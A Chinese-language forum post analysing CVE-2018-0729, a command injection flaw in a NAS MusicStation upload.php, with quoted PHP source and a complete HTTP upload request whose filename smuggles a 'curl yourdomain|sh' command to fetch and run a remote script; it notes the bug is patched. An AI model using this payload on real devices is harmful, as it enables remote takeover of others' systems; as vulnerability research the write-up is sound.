CVE-2018-0729分析【通过】

漏洞出在這家NAS厂商的MusicStation upload.php

上传的档案名称可控

而我们知道Linux系統下,档名可以是 " , ' , | , ` , ...等

以下是部份Source code:

<?php
require('libs/inc_common.php');
require('libs/class_mediaserver.php');

define('APIName','mymediadbcmd');

$userpremission = Get_User_Permission($SESSION->account);

session_write_close();

$errorcode = array(
    'IOError' => 4,
    'NoFiletoUpload' => 6,
    'NotSupportFile' => 8,
    'NoAccessRight' => 10,
    'PathError' => 11,
    'UpdateError' => 12,
    'FormatError' => 13,
    'FileExist' => 14,
    'PlaylistIDError' => 15,
    'OutofQuota' => 16,
    'NotLogin' => 98
);

$dbhandle = get_db_connection();
if($dbhandle === false){
    _Output($output,array("status"=>0));
}

$mediaserverObj = new mediaserver($dbhandle,$userid,$ms_use_system_account);
$mediaserverObj->userpremission = $userpremission;

//upload temp album/artist art to NAS
$arttype = getHTTPValue('arttype','');//album,artist
if(!empty($arttype)){
    $art_upload_temp = MS_CONFIG_FOLDER."arttemp/";
    if (!file_exists(art_upload_temp)){
        mkdir($art_upload_temp);
        chmod($art_upload_temp,0777);
        chown($art_upload_temp,99);
        chgrp($art_upload_temp,100);
    }
    $file = $_FILES['singleFile'];
    $fileInfo = pathinfo($file['name']);    
    if(strtolower($fileInfo['extension']) == "jpg" || strtolower($fileInfo['extension']) == "jpeg" || strtolower($fileInfo['extension']) == "png"){
        $tempfileid = uniqid($arttype."_");
        $temppath =  $art_upload_temp.$tempfileid.".".strtolower($fileInfo['extension']);
        if(move_uploaded_file($file['tmp_name'],$temppath)){
            _Output($output,array("status"=>1,"fid"=>encodeFilePath($tempfileid.".".strtolower($fileInfo['extension']))));
        }else{
            if(file_exists($file['tmp_name'])){
                unlink($file['tmp_name']);
            }
            _Output($output,array("status"=>0,"errorcode"=>$errorcode['IOError']));
        }
    }else{
        _Output($output,array("status"=>0,"errorcode"=>$errorcode['FormatError'],"fileext"=>$fileInfo['extension']));
    }   
}

//upload file to playlist
$playlist_id = getHTTPValue('pl_id');
if(!empty($playlist_id) && !is_numeric($playlist_id)){
    $playlist_id = decodeFilePath($playlist_id);
    if(!is_numeric($playlist_id)){
        _Output($output,array("status"=>0,"errorcode"=>$errorcode['PlaylistIDError']));
    }   
    $playlist_info = $mediaserverObj->get_playlist_info($playlist_id);
    if(!$playlist_info || count($playlist_info) == 0){
        _Output($output,array("status"=>0,"errorcode"=>$errorcode['PlaylistIDError']));
    }
}

$upload_same_file_act = getHTTPValue('sf_act','cover');//cover,rename,skip,autorename
if($upload_same_file_act == "rename"){
    $new_file_name = getHTTPValue('n_name');
}

$linkid = getHTTPValue('linkid');
if(!empty($linkid)){
    if(!is_numeric($linkid)){
        $linkid = decodeFilePath($linkid);
        if(!is_numeric($linkid)){
            $errorcheck = true;
        }
    }
    $sql  = "SELECT concat(st.prefix,dir.cFullPath) as cFullPath FROM dirTable AS dir ";
    $sql .= "LEFT OUTER JOIN StorageTable AS st ON dir.iStorageId = st.iStorageId ";
    $sql .= "WHERE dir.InvalidFlag = 0 AND (dir.ProtectionStatus IN (SELECT ProtectionStatus FROM ACLTable WHERE uid = '".$SESSION->usr_id."' AND rights = 1) OR ProtectionStatus = 0) AND dir.iDirId = ".$linkid;
    $result = $dbhandle->query($sql);
    if(!$result){
        $errorcheck = true;
    }else{
        $errorcheck = false;
        while($row = $mediaserverObj->result_fetcharray($result)){
            $uploadfolder = $row["cFullPath"];
        }
    }
}else{
    $target = getHTTPValue('target');
    switch($target){
        case 'homes':
            $errorcheck = false;
            $uploadfolder = "/share/".USER_HOMES_PATH.date("Y-m-d")."/";
        break;
        case 'qsync':
            $errorcheck = false;
            $uploadfolder = "/share/".USER_HOMES_PATH.".Qsync/".date("Y-m-d")."/";
        break;
        default:
            require_once('libs/class_user.php');
            $userdbhandle = new SQLite3(MS_USER_DB_FILE_PATH);
            $userObj = new User($userdbhandle);
            $result = $userObj->get_one(USR_ID);
            if($result){
                while($row = $result->fetchArray(SQLITE3_ASSOC)){
                    $configall = json_decode(stripslashes($row['x_attr']), true);
                    $config = $configall[APP_NAME];
                    $defaultUpload = $config["defaultUpload"];
                }   
            }
            $errorcheck = false;
            if(empty($defaultUpload)){
                $uploadfolder = MS_FILE_ROOT."/".date("Y-m-d")."/";     
            }else{
                $defaultUpload = get_full_folder_path($defaultUpload,$SESSION->account);
                if(preg_match('/^\/share\//', $defaultUpload)){
                    $uploadfolder = $defaultUpload."/".date("Y-m-d")."/";
                }else{
                    $uploadfolder = "/share/".$defaultUpload."/".date("Y-m-d")."/"; 
                }
            }
    }
}

//check cover is ready retry times
$retry = 3;
$mtime = getHTTPValue('mtime','');

if($errorcheck == false){
    if(IS_LOGIN === true){
        if(!empty($_FILES['singleFile'])){
            if(!is_dir($uploadfolder)){
                _Output($output,array("status"=>0,"errorcode"=>$errorcode['PathError']));
            }
            $file = $_FILES['singleFile'];
            $fileInfo = pathinfo($file['name']);
        if(isSupportFileType($fileInfo['extension'],'audio')){
                //do same file action
                if(is_file($uploadfolder.$file['name'])){
                    $temp_file_info = pathinfo($uploadfolder.$file['name']);
                    switch($upload_same_file_act){
                        case "cover":
                            $upload_path = $uploadfolder.$file['name'];
                        break;
                        case "rename":
                            $upload_path = $temp_file_info['dirname']."/".$new_file_name.".".$temp_file_info['extension'];
                        break;
                        case "skip":
                            if(is_file($file['tmp_name'])){
                                unlink($file['tmp_name']);  
                            }
                            _Output($output,array("status"=>0,"errorcode"=>$errorcode['FileExist']));
                        break;
                        case "autorename":
                            $i = 1;
                            $upload_path = $temp_file_info['dirname']."/".$temp_file_info['filename']."(".$i.")".".".$temp_file_info['extension'];                          
                            while(is_file($upload_path)){
                                $i += 1;
                                $upload_path = $temp_file_info['dirname']."/".$temp_file_info['filename']."(".$i.")".".".$temp_file_info['extension'];
                            }
                        break;
                    }
                }else{
                    $upload_path = $uploadfolder.$file['name'];
                }
                
                if(move_uploaded_file($file['tmp_name'],$upload_path)){
                    change_file_owner_and_group($upload_path,$SESSION->account);
                    if(!empty($mtime)){
                        touch($upload_path, strtotime($mtime));
                    }
                    unset($returnVar);
                    unset($returnArray);
                    $pos = strrpos($uploadfolder, ".Qsync");
                    if(!$pos){
                        exec(APIPath.APIName." createfile \"".$upload_path."\"",$returnArray,$returnVar);
                    }else{
                        exec(APIPath.APIName." createfile \"".$upload_path."\" 1 0 \"".getClientIP()."\" \"".$SESSION->account."\" \"Music Station\"",$returnArray,$returnVar);
                    }
                    $songID = $returnArray[0];
                    for($i=1;$i<=$retry;$i++){
                        sleep(2);
                        if($mediaserverObj->get_cover_is_ready($songID) === true){
                            break;
                        }
                    }

第187和189行

exec(APIPath.APIName." createfile \"".$upload_path."\"",$returnArray,$returnVar);

exec(APIPath.APIName." createfile \"".$upload_path."\" 1 0 \"".getClientIP()."\" \"".$SESSION->account."\" \"Music Station\"",$returnArray,$returnVar);

很明显,这边只要我们能控到$upload_pathgetClientIP()就能Command Injection
getClientIP()虽然可以透过X-Forwarded-For控制,但最后有个正规表达式限制,绕不过,所以这条路不通

$upload_path 的話,档名和目录都是我们可以控的

最后只要在filename塞

filename="xx\"`curl yourdomain|sh`;\".mp3";

即可執行yourdomain上的shellscript

完整Payload: (session id, host已码)

POST /musicstation/api/upload.php HTTP/1.1
Host: example.com:7766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/xml, text/xml, */*; q=0.01
Accept-Language: zh-TW,zh;q=0.8,en-US;q=0.5,en;q=0.3
X-Requested-With: XMLHttpRequest
Content-Length: 844
Content-Type: multipart/form-data; boundary=---------------------------168952107717519605051051923518
Cookie: QT=1539601409692; showAllAp=true; QMS_SID=xxx; NAS_USER=test; NAS_SID=xxx; home=1; photoStation-action=opened; PHPSESSID=xxx; QTS_SSID=xxx; musicStation-action=opened
Connection: close

-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="linkid"

MTIzCg==
-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="sf_act"

cover
-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="mtime"

Mon, 15 Oct 2018 10:57:52 GMT
-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="_i"

2
-----------------------------168952107717519605051051923518
Content-Disposition: form-data; name="multipleFiles[]"; filename="xx\"`curl yourdomain|sh`;\".mp3";
Content-Type: audio/mpeg

aaaa 
-----------------------------168952107717519605051051923518--

此漏洞在新版MusicStation中已修复

1 个赞

欢迎加入九零
目前针对所有新注册的用户,其申请注册的文章均采用匿名发表的方式,今后文章可凭个人意愿是否采用匿名模式发布

想问下哪里设置匿名模式

见回复